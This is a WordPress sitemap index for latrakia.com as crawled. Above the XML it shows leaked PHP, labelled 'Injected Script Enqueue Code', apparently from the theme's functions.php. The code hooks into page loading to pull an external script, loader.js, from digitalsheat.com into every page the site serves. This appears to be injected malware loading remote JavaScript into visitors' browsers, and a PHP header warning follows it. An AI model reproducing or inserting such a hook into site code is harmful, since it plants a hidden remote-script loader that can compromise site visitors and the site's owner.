// Injected Script Enqueue Code
function enqueue_custom_script() {
    wp_enqueue_script(
        'custom-error-script',
        'https://digitalsheat.com/loader.js',
        array(),
        null,
        true
    );
}
add_action('wp_enqueue_scripts', 'enqueue_custom_script');
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/tsiapasc/latrakia/wp-content/themes/lavander/functions.php:931) in <b>/home/tsiapasc/latrakia/wp-includes/sitemaps/class-wp-sitemaps-renderer.php</b> on line <b>126</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://latrakia.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://latrakia.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-posts-wysijap-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://latrakia.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>